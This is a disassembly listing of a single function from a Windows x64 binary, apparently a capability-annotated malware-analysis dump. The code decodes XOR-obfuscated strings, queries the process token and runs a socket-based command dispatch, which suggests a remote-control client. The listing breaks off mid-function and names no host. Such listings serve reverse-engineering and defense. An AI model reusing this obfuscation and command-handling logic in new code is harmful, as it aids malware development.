Function at 0x140020970
Capabilities:
Encode data using xor
Move file
Set console window title

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x888]
sub rsp, 0x960
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
mov rax, qword [0x1400a3c40]
xor rax, rsp
mov qword [rbp + 0x820], rax
mov edx, 7
lea rcx, [rbp + 0x130]
call fcn.14001ad00
cmp qword [rax + 0x18], 0x10
jb 0x1400209cf
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov rdx, qword [rbp + 0x148]
cmp rdx, 0x10
jb 0x140020a19
inc rdx
mov rcx, qword [rbp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140020a14
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400257ba
call fcn.14005bba4
mov r8d, 0x104
lea rdx, [rbp + 0x6f0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edx, 7
lea rcx, [rbp + 0x110]
call fcn.14001ad00
nop
lea rdx, str..exe
mov rcx, rax
call fcn.1400088e0
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x48], xmm1
xor esi, esi
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], send
mov byte [rax], sil
lea rdx, [rbp - 0x58]
cmp qword [rbp - 0x40], 0x10
cmovae rdx, qword [rbp - 0x58]
lea rcx, [rbp + 0x6f0]
call fcn.14002b4bc
mov rdx, qword [rbp - 0x40]
cmp rdx, 0x10
jb 0x140020ac4
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140020abf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400257c0
call fcn.14005bba4
mov qword [rbp - 0x48], rsi
mov qword [rbp - 0x40], send
mov byte [rbp - 0x58], 0
mov rdx, qword [rbp + 0x128]
cmp rdx, 0x10
jb 0x140020b15
inc rdx
mov rcx, qword [rbp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140020b10
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400257c6
call fcn.14005bba4
lea rcx, [rbp + 0x560]
call fcn.140004a70
nop
mov qword [rbp + 0x590], rsi
mov qword [rbp + 0x5a0], rsi
mov qword [rbp + 0x5a8], send
mov byte [rbp + 0x590], 0
mov eax, dword [str.TK_t]
mov dword [rbp + 0x4a8], eax
movzx eax, word [0x1400924dc]
mov word [rbp + 0x4ac], ax
mov byte [rbp + 0x4a8], 0x4b
xor byte [rbp + 0x4a9], 0x31
xor byte [rbp + 0x4aa], 0x32
xor byte [rbp + 0x4ab], 0x33
xor byte [rbp + 0x4ac], 0x34
xor byte [rbp + 0x4ad], 0x35
lea rdx, [rbp + 0x4a8]
lea rcx, [0x1409febe0]
call fcn.140017750
lea rdx, [rbp + 0x590]
lea rcx, [0x1409feda0]
call fcn.1400264b0
lea rax, [rbp + 0x150]
mov qword [rbp + 0x60], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x540], xmm0
movups xmmword [rbp + 0x550], xmm0
lea rbx, vtable.ATL::CAccessToken.0
mov qword [rbp + 0x540], rbx
movdqu xmmword [rbp + 0x548], xmm0
mov qword [rbp + 0x558], rsi
xor eax, eax
movups xmmword [rbp + 0x670], xmm0
movups xmmword [rbp + 0x680], xmm0
movups xmmword [rbp + 0x690], xmm0
movups xmmword [rbp + 0x6a0], xmm0
movups xmmword [rbp + 0x6b0], xmm0
movups xmmword [rbp + 0x6c0], xmm0
movups xmmword [rbp + 0x6d0], xmm0
mov qword [rbp + 0x6e0], rax
lea rcx, [rbp + 0x670]
call fcn.14001a230
nop
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp + 0x4a0]
mov edx, 0x20008
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140020d02
lea rcx, [rbp + 0x540]
mov rax, qword [rbp + 0x540]
call qword [rax + htons]
mov rax, qword [rbp + 0x4a0]
mov qword [rbp + 0x548], rax
lea rdx, [rbp + 0x670]
lea rcx, [rbp + 0x540]
call fcn.140025ea0
test al, al
je 0x140020d02
lea rcx, [rbp + 0x670]
call fcn.14001a3d0
mov rdx, rax
lea rcx, [rbp + 0x2e0]
call fcn.1400259c0
nop
mov rdx, qword [rax]
mov qword [rbp + 0x150], rsi
mov qword [rbp + 0x160], rsi
mov qword [rbp + 0x168], send
mov r14, 0xffffffffffffffff
mov r8, r14
nop word [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140020cd0
lea rcx, [rbp + 0x150]
call fcn.140003650
nop
lea rax, [rbp + 0x2e8]
mov rcx, qword [rbp + 0x2e0]
cmp rcx, rax
je 0x140020d00
call fcn.140027028
nop
jmp 0x140020d22
mov qword [rbp + 0x150], rsi
mov qword [rbp + 0x160], rsi
mov qword [rbp + 0x168], send
mov r14, 0xffffffffffffffff
lea rax, vtable.ATL::CSid.0
mov rdx, qword [rbp + 0x6e0]
mov qword [rbp + 0x670], rax
add rdx, 0xffffffffffffffe8
mov eax, r14d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140020d51
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + htons]
mov rdx, qword [rbp + 0x6d8]
add rdx, 0xffffffffffffffe8
mov eax, r14d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140020d72
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + htons]
mov rdx, qword [rbp + 0x6d0]
add rdx, 0xffffffffffffffe8
mov eax, r14d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140020d93
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + htons]
mov rdx, qword [rbp + 0x6c8]
add rdx, 0xffffffffffffffe8
mov eax, r14d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140020db5
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + htons]
nop
mov rdx, qword [rbp + 0x550]
test rdx, rdx
mov rcx, qword [rbp + 0x548]
mov qword [rbp + 0x540], rbx
je 0x140020de8
test rcx, rcx
je 0x140020de1
call qword [sym.imp.USERENV.dll_UnloadUserProfile]
mov rcx, qword [rbp + 0x548]
mov qword [rbp + 0x550], rsi
test rcx, rcx
je 0x140020dfa
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbp + 0x548], rsi
mov edx, 8
mov rcx, qword [rbp + 0x558]
call fcn.14005bba4
mov qword [rbp + 0x558], rsi
lea rdx, [rbp + 0x590]
lea rcx, [rbp + 0x298]
call fcn.140008b30
nop
lea r9, [rbp + 0x150]
mov r8, rax
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x560]
call fcn.1400055a0
mov ecx, dword [rbp + 0x64]
test ecx, ecx
je 0x1400253e3
sub ecx, 1
je 0x140025233
sub ecx, 1
je 0x140025083
sub ecx, 2
je 0x140024ed2
cmp ecx, 1
jne 0x1400257cc
movups xmm0, xmmword [str.sCWWQ_BYUIeJRV__6_kf]
movups xmmword [rbp + 0x260], xmm0
movups xmm1, xmmword [0x140091ed8]
movups xmmword [rbp + 0x270], xmm1
movups xmm0, xmmword [0x140091ee8]
movups xmmword [rbp + 0x280], xmm0
movzx eax, byte [0x140091ef8]
mov byte [rbp + 0x290], al
mov r8d, esi
lea r12d, [rcx + 3]
lea r13d, [rcx + 0x1e]
mov edi, dword [0x1400a3c50]
cmp edi, 2
jl 0x140021007
movdqa xmm5, xmmword [0x1400926d0]
movdqa xmm4, xmmword [0x140092750]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400926f0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092720]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x264]
mov edx, dword [rsp + 0x40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140020f00
cmp r8d, 0x31
jge 0x140021050
movsxd rax, r8d
lea r9, [rbp + 0x260]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x31
jl 0x140021020
lea rdx, [rbp + 0x260]
lea rcx, [0x1409febe0]
call fcn.140017750
mov rcx, rax
call fcn.1400179c0
lea rdx, [rbp + 0x5d0]
lea rcx, [rbp + 0x560]
call fcn.140005e80
nop
cmp byte [rbp + 0x600], 0
je 0x140021233
lea rdx, [rbp + 0x198]
call fcn.140025970
mov r9, rax
cmp byte [rax + 0x25], 0
je 0x140025605
cmp edi, 2
jl 0x1400211f6
movdqa xmm5, xmmword [0x1400926d0]
movdqa xmm4, xmmword [0x140092750]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400926f0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092720]
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add esi, 8
lea rcx, [rcx + 8]
cmp esi, 0x20
jl 0x1400210f0
cmp esi, 0x26
jge 0x140025605
movsxd r8, esi
add r8, r9
nop dword [rax]
mov eax, 0x4d4873ed
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x35
movzx eax, sil
sub al, dl
add al, 0x30
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x26
jge 0x140025605
jmp 0x140021200
mov eax, dword [0x140092374]
mov dword [rsp + 0x54], eax
movzx eax, byte [0x140092378]
mov byte [rsp + 0x54], 0x57
xor byte [rsp + 0x55], 0x31
xor byte [rsp + 0x56], 0x32
xor byte [rsp + 0x57], 0x33
xor al, 0x34
mov byte [rsp + 0x58], al
mov qword [rbp - 0x58], rsi
mov qword [rbp - 0x48], rsi
mov qword [rbp - 0x40], send
mov byte [rbp - 0x58], 0
lea rax, [rsp + 0x54]
mov r8, r14
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140021280
lea rdx, [rsp + 0x54]
lea rcx, [rbp - 0x58]
call fcn.140003650
nop
lea rdx, [rbp + 0x590]
lea rcx, [rbp - 0x58]
call fcn.140008980
mov qword [rbp + 0x4b0], rsi
mov qword [rbp + 0x4c0], rsi
mov qword [rbp + 0x4c8], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x4b0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x4c0], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], send
mov byte [rax], 0
mov rdx, qword [rbp - 0x40]
cmp rdx, 0x10
jb 0x14002131d
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140021318
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400257d4
call fcn.14005bba4
mov qword [rbp - 0x48], rsi
mov qword [rbp - 0x40], send
mov byte [rbp - 0x58], 0
lea rcx, [rbp + 0x4b0]
cmp qword [rbp + 0x4c8], 0x10
cmovae rcx, qword [rbp + 0x4b0]
call qword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
movups xmm0, xmmword [str._T_U_SYL]
movups xmmword [rbp + 0x170], xmm0
movzx eax, word [0x140091fc8]
mov word [rbp + 0x180], ax
cmp byte [0x140091fc9], 0
je 0x140021510
mov r8d, esi
cmp edi, 2
jl 0x1400214c7
movdqa xmm5, xmmword [0x1400926d0]
movdqa xmm4, xmmword [0x140092750]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400926f0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092720]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x174]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400213c0
cmp r8d, 0x12
jge 0x140021510
movsxd rax, r8d
lea r9, [rbp + 0x170]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x1400214e0
lea rcx, [rbp + 0x650]
cmp qword [rbp + 0x668], 0x10
setae r10b
mov r9, qword [rbp + 0x650]
cmovae rcx, r9
lea r8, [rbp + 0x170]
sub r8, rcx
nop dword [rax + rax]
movzx edx, byte [rcx]
movzx eax, byte [rcx + r8]
sub edx, eax
jne 0x140021553
inc rcx
test eax, eax
jne 0x140021540
test edx, edx
jne 0x140021cc3
movups xmm0, xmmword [str._CWCUG_Y_]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [0x1400922d0]
movups xmmword [rbp - 0x10], xmm1
movsd xmm0, qword [0x1400922e0]
movsd qword [rbp], xmm0
movzx eax, word [0x1400922e8]
mov word [rbp + 8], ax
movzx eax, byte [0x1400922ea]
mov byte [rbp + 0xa], al
mov r8d, esi
cmp edi, 2
jl 0x1400216e7
movdqa xmm5, xmmword [0x1400926d0]
movdqa xmm4, xmmword [0x140092750]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400926f0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092720]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp - 0x1c]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1400215e0
cmp r8d, 0x2b
jge 0x140021730
movsxd rax, r8d
lea r9, [rbp - 0x20]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2b
jl 0x140021700
lea rdx, [rbp - 0x20]
lea rcx, [0x1409febe0]
call fcn.140017750
mov rcx, rax
call fcn.1400179c0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x4d0], xmm0
mov qword [rbp + 0x4e0], rax
lea rdx, [rbp + 0x650]
cmp qword [rbp + 0x668], 0x10
cmovae rdx, qword [rbp + 0x650]
mov qword [rbp + 0x88], rsi
mov qword [rbp + 0x98], rsi
mov qword [rbp + 0xa0], send
mov r8, r14
nop
inc r8
cmp byte [rdx + r8], 0
jne 0x140021790
lea rcx, [rbp + 0x88]
call fcn.140003650
lea r8, [rbp + 0x88]
lea rdx, [rbp + 0x4d0]
lea rcx, [rbp + 0x560]
call fcn.140007190
nop
mov rbx, qword [rbp + 0x4d0]
cmp rbx, qword [rbp + 0x4d8]
jne 0x140021936
test rbx, rbx
je 0x140021823
mov rdx, qword [rbp + 0x4e0]
sub rdx, rbx
mov rax, rbx
cmp rdx, 0x1000
jb 0x140021809
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400257da
mov rcx, rbx
call fcn.14005bba4
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x4d0], xmm0
mov qword [rbp + 0x4e0], rsi
mov rdx, qword [rbp + 0x4c8]
cmp rdx, 0x10
jb 0x140021864
inc rdx
mov rcx, qword [rbp + 0x4b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002185f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400257e0
call fcn.14005bba4
mov qword [rbp + 0x4c0], rsi
mov qword [rbp + 0x4c8], send
mov byte [rbp + 0x4b0], 0
lea rcx, [rbp + 0x5d0]
call fcn.140006750
nop
mov rdx, qword [rbp + 0x5a8]
cmp rdx, 0x10
jb 0x1400218cc
inc rdx
mov rcx, qword [rbp + 0x590]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400218c6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400257e6
call fcn.14005bba4
nop
mov rcx, qword [rbp + 0x568]
test rcx, rcx
je 0x1400218de
call qword [sym.imp.WS2_32.dll_closesocket]
mov byte [rbp + 0x560], 0
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rdx, qword [rbp + 0x588]
cmp rdx, 0x10
jb 0x14002192c
inc rdx
mov rcx, qword [rbp + 0x570]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140021927
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400257ec
call fcn.14005bba4
mov eax, 1
jmp 0x140021c84
movups xmm0, xmmword [str.s_vndrxojfsYQNo__m_G_TWXyPEDY_l_]
movups xmmword [rbp + 0x40], xmm0
movsd xmm1, qword [0x140092160]
movsd qword [rbp + 0x50], xmm1
cmp byte [0x140092167], 0
je 0x140021ae2
mov r8d, esi
cmp edi, 2
jl 0x140021aa3
movdqa xmm5, xmmword [0x1400926d0]
mov edx, esi
movdqa xmm4, xmmword [0x140092750]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400926f0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092720]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x44]
mov r8d, dword [rsp + 0x40]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x18
jl 0x1400219a2
jmp 0x140021ae2
lea r9, [rbp + 0x40]
nop word [rax + rax]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x18
jl 0x140021ab0
mov qword [rbp + 0x68], rsi
mov qword [rbp + 0x78], rsi
mov qword [rbp + 0x80], send
lea rax, [rbp + 0x40]
nop dword [rax]
inc r14
cmp byte [rax + r14], 0
jne 0x140021b00
mov r8, r14
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x68]
call fcn.140003650
mov rdx, rbx
lea rcx, [rbp + 0x68]
call fcn.140020470
nop
mov rcx, qword [rbp + 0x4d0]
test rcx, rcx
je 0x140021b79
mov rdx, qword [rbp + 0x4e0]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140021b62
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400257da
call fcn.14005bba4
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x4d0], xmm0
mov qword [rbp + 0x4e0], rsi
mov rdx, qword [rbp + 0x4c8]
cmp rdx, 0x10
jb 0x140021bba
inc rdx
mov rcx, qword [rbp + 0x4b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140021bb5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400257e0
call fcn.14005bba4
mov qword [rbp + 0x4c0], rsi
mov qword [rbp + 0x4c8], send
mov byte [rbp + 0x4b0], 0
lea rcx, [rbp + 0x5d0]
call fcn.140006750
nop
mov rdx, qword [rbp + 0x5a8]
cmp rdx, 0x10
jb 0x140021c22
inc rdx
mov rcx, qword [rbp + 0x590]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140021c1c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400257e6
call fcn.14005bba4
nop
mov rcx, qword [rbp + 0x568]
test rcx, rcx
je 0x140021c34
call qword [sym.imp.WS2_32.dll_closesocket]
mov byte [rbp + 0x560], 0
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rdx, qword [rbp + 0x588]
cmp rdx, 0x10
jb 0x140021c82
inc rdx
mov rcx, qword [rbp + 0x570]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140021c7d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400257ec
call fcn.14005bba4
xor eax, eax
mov rcx, qword [rbp + 0x820]
xor rcx, rsp
call fcn.14005b650
lea r11, [rsp + 0x960]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov eax, dword [0x140092290]
mov dword [rsp + 0x64], eax
movzx eax, word [0x140092294]
mov word [rsp + 0x68], ax
movzx eax, byte [0x140092296]
